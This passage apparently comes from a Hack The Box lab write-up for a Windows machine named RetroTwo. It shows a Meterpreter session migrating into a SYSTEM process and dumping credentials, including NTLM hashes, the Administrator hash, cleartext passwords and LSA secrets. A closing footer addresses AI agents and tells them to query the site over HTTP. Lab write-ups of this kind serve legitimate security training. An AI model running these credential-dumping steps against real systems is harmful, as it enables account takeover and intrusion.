 3000  3060  winlogon.exe                x64   2        NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.exe
 3180  2800  cmd.exe                     x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\cmd.exe
 3188  332   conhost.exe                 x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe
 3268  648   WmiPrvSE.exe                x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\wbem\wmiprvse.exe

<strong>(Meterpreter 2)(C:\Windows\system32) > migrate 484
</strong>[*] Migrating from 2800 to 484...
[*] Migration completed successfully.
<strong>(Meterpreter 2)(C:\Windows\system32) > creds_all
</strong>[+] Running as SYSTEM
[*] Retrieving all credentials
msv credentials
===============

Username    Domain  NTLM                              SHA1
--------    ------  ----                              ----
<strong>BLN01$      RETRO2  53ca4f552054a60df7b6eb3816c8242f  1145e6f8e3f7d13faf3ae78d85a3000c8ab324ea
</strong><strong>ldapreader  RETRO2  fe63aaefd1cfd29d7cc5c14321a725f3  9cb236fe84aa04c2d692b66749f1602a7c3b01ee
</strong>
wdigest credentials
===================

Username    Domain  Password
--------    ------  --------
(null)      (null)  (null)
BLN01$      RETRO2  7c fe 9e 06 3c 0f 67 23 19 03 7c 77 56 82 a0 8e 24 a6 53 0b 67 b8 98 e0 d0 9a 0d 7f db 73 04 65 19 e3 b8 9c 18 8a 79 f3 fd 17 c8 12
                     21 2e 37 87 25 f0 9b 3d 96 89 e3 70 75 96 56 b3 7c 62 1a 85 bb a9 50 8e 53 00 7a 03 af 33 7e d9 0b e0 cf 7f 19 b2 6e 04 7b 0a 13 0
                    0 d6 83 6b 93 55 80 6c 89 d3 50 5a 96 98 d8 08 35 17 4e 2e 5e ca af 33 ec 92 63 ea 07 60 17 15 22 66 2d 07 60 f7 13 4f f7 43 ee b9
                    32 cb b0 73 42 40 46 8e 98 a3 4a 64 ee ac 98 33 b5 8f e8 3d 51 56 2f 55 82 15 b1 3a e8 a7 54 e0 cb 65 4f 67 a6 65 e0 64 ca 41 e6 da
                     a3 3b cc 4d c8 7e 05 05 11 6d 58 97 a8 75 55 7a dd 1b 78 03 2f 13 bb 33 2e ee 2d d2 3c 37 e6 ad e8 36 cb 5e df 2a 44 59 43 f3 f7 a
                    b 2f 90 22 86 62 3f 6b a1 f5 c4 f6 c8 f2 36 cd 2d 97 36 2d a5 3a
ldapreader  RETRO2  ppYaVcB5R

kerberos credentials
====================

Username    Domain     Password
--------    ------     --------
(null)      (null)     (null)
bln01$      RETRO2.VL  (null)
ldapreader  RETRO2.VL  (null)


<strong>(Meterpreter 2)(C:\Windows\system32) > lsa_dump_sam
</strong>[+] Running as SYSTEM
[*] Dumping SAM
Domain : BLN01
SysKey : 2bafc8cdbfbf9f6255da170cc977275e
Local SID : S-1-5-21-1149509956-2485707062-1622082369

SAMKey : 43d6ad2580fc3f4c167ae24d2b300a55

RID  : 000001f4 (500)
<strong>User : Administrator
</strong><strong>  Hash NTLM: 6e70d74e5d3c6f1cfd30048e53c398dd
</strong>
RID  : 000001f5 (501)
User : Guest


<strong>(Meterpreter 2)(C:\Windows\system32) > lsa_dump_secrets
</strong>[+] Running as SYSTEM
[*] Dumping LSA secrets
Domain : BLN01
SysKey : 2bafc8cdbfbf9f6255da170cc977275e

Local name : BLN01 ( S-1-5-21-1149509956-2485707062-1622082369 )
Domain name : RETRO2 ( S-1-5-21-1604173555-1041150481-2903404482 )
Domain FQDN : retro2.vl

Policy subsystem is : 1.11
LSA Key(s) : 1, default {f4a0e771-a232-86a7-aa6d-1e6faaa831a2}
  [00] {f4a0e771-a232-86a7-aa6d-1e6faaa831a2} ca05a211736fed6fcd2a177c6f0d5c5f6b7224a5446b7b1c83d911ce97de1837

<strong>Secret  : $MACHINE.ACC
</strong>cur/hex : 7c fe 9e 06 3c 0f 67 23 19 03 7c 77 56 82 a0 8e 24 a6 53 0b 67 b8 98 e0 d0 9a 0d 7f db 73 04 65 19 e3 b8 9c 18 8a 79 f3 fd 17 c8 12 21 2e 37 87 25 f0 9b 3d 96 89 e3 70 75 96 56 b3 7c 62 1a 85 bb a9 50 8e 53 00 7a 03 af 33 7e d9 0b e0 cf 7f 19 b2 6e 04 7b 0a 13 00 d6 83 6b 93 55 80 6c 89 d3 50 5a 96 98 d8 08 35 17 4e 2e 5e ca af 33 ec 92 63 ea 07 60 17 15 22 66 2d 07 60 f7 13 4f f7 43 ee b9 32 cb b0 73 42 40 46 8e 98 a3 4a 64 ee ac 98 33 b5 8f e8 3d 51 56 2f 55 82 15 b1 3a e8 a7 54 e0 cb 65 4f 67 a6 65 e0 64 ca 41 e6 da a3 3b cc 4d c8 7e 05 05 11 6d 58 97 a8 75 55 7a dd 1b 78 03 2f 13 bb 33 2e ee 2d d2 3c 37 e6 ad e8 36 cb 5e df 2a 44 59 43 f3 f7 ab 2f 90 22 86 62 3f 6b a1 f5 c4 f6 c8 f2 36 cd 2d 97 36 2d a5 3a 
<strong>    NTLM:53ca4f552054a60df7b6eb3816c8242f
</strong>    SHA1:1145e6f8e3f7d13faf3ae78d85a3000c8ab324ea
old/hex : 9a 63 09 a1 de 56 0a 21 8c a2 b0 6c 03 6b 80 57 c4 08 a7 b5 fd 2d 68 c9 93 68 1c d2 f4 74 23 e4 18 04 b2 49 06 5c 50 28 67 7f c5 99 62 88 8b 2a a2 9b 5f da 1b 28 ac e8 62 0b 1f 43 75 fa ae dc c6 9b f4 95 3e cc 07 8d bb 00 c8 2a 09 e8 91 ff e5 0a 45 b7 1f c9 17 a4 da a3 7e 67 05 70 a4 8c 6d c9 14 3f 1c 8a ce 04 01 c7 dd 01 d9 cf aa 2e fd ba 22 56 68 82 ba 36 08 a1 c3 56 39 08 2f 10 51 ee c8 85 11 08 eb 0f 60 11 2a 75 45 32 0c 81 e2 05 21 31 66 17 8c 79 4d 24 fe 9f 6b 1e e6 6c a3 9b 49 fd bf 6b e1 59 5f f0 c1 2f c9 a0 f0 dc 22 15 f4 2a 36 d2 fb 0f d5 45 75 47 3e 96 00 24 3c 4c 79 62 26 75 d0 cf b7 94 a1 3a ce 11 b0 e8 18 d3 d7 77 e8 69 d3 88 3b 91 c2 9f 19 e4 fa e8 ea 4e 2c 8b 98 d1 fa a4 42 08 9a 76 78 5e b5 12 
<strong>    NTLM:a0403a2c3f6127d34aecb7323ddd6213
</strong>    SHA1:492e931c29a147cb2ddeb8b4d832519e0ca9fe59

Secret  : DefaultPassword
old/text: ROOT#123

Secret  : DPAPI_SYSTEM
cur/hex : 01 00 00 00 1f 7e 58 01 6f d0 2f 37 fe 1c fa 38 01 8e 9e 40 92 af 07 0d 86 ad 0f 2f 90 87 22 39 d3 21 ba 06 8f 3e f1 96 09 4e ee 17 
    full: 1f7e58016fd02f37fe1cfa38018e9e4092af070d86ad0f2f90872239d321ba068f3ef196094eee17
    m/u : 1f7e58016fd02f37fe1cfa38018e9e4092af070d / 86ad0f2f90872239d321ba068f3ef196094eee17
old/hex : 01 00 00 00 ec 9c 9a 9f 35 c7 df f8 1a 13 9c 54 91 ea ec 30 3c 72 7d 50 fa 4e 31 1e 10 87 88 66 31 82 e4 0f 7d 0e d7 27 17 7b 8a 2c 
    full: ec9c9a9f35c7dff81a139c5491eaec303c727d50fa4e311e108788663182e40f7d0ed727177b8a2c
    m/u : ec9c9a9f35c7dff81a139c5491eaec303c727d50 / fa4e311e108788663182e40f7d0ed727177b8a2c

Secret  : NL$KM
cur/hex : c4 2c c3 f9 bb 4f ae e2 08 e3 8e d8 4a db a8 e6 cc fb 15 71 eb 2d 85 df 79 ba 08 92 5b e9 95 ac 7a 4e 32 db 94 17 55 39 c5 4b 9a c7 03 19 9b 3e d8 aa 65 ad de c3 9a e2 9b 8e dc e4 98 d6 5a 4a 


<strong>(Meterpreter 2)(C:\Windows\system32) > creds_msv
</strong>[+] Running as SYSTEM
[*] Retrieving msv credentials
msv credentials
===============

Username    Domain  NTLM                              SHA1
--------    ------  ----                              ----
<strong>BLN01$      RETRO2  53ca4f552054a60df7b6eb3816c8242f  1145e6f8e3f7d13faf3ae78d85a3000c8ab324ea
</strong><strong>ldapreader  RETRO2  fe63aaefd1cfd29d7cc5c14321a725f3  9cb236fe84aa04c2d692b66749f1602a7c3b01ee
</strong>

<strong>(Meterpreter 2)(C:\Windows\system32) > creds_kerberos
</strong>[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================

Username    Domain     Password
--------    ------     --------
(null)      (null)     (null)
bln01$      RETRO2.VL  (null)
ldapreader  RETRO2.VL  (null)
</code></pre>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://securitylayer.gitbook.io/securitylayer/maquinas-y-modulos-de-htb/windows-easy/retrotwo.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
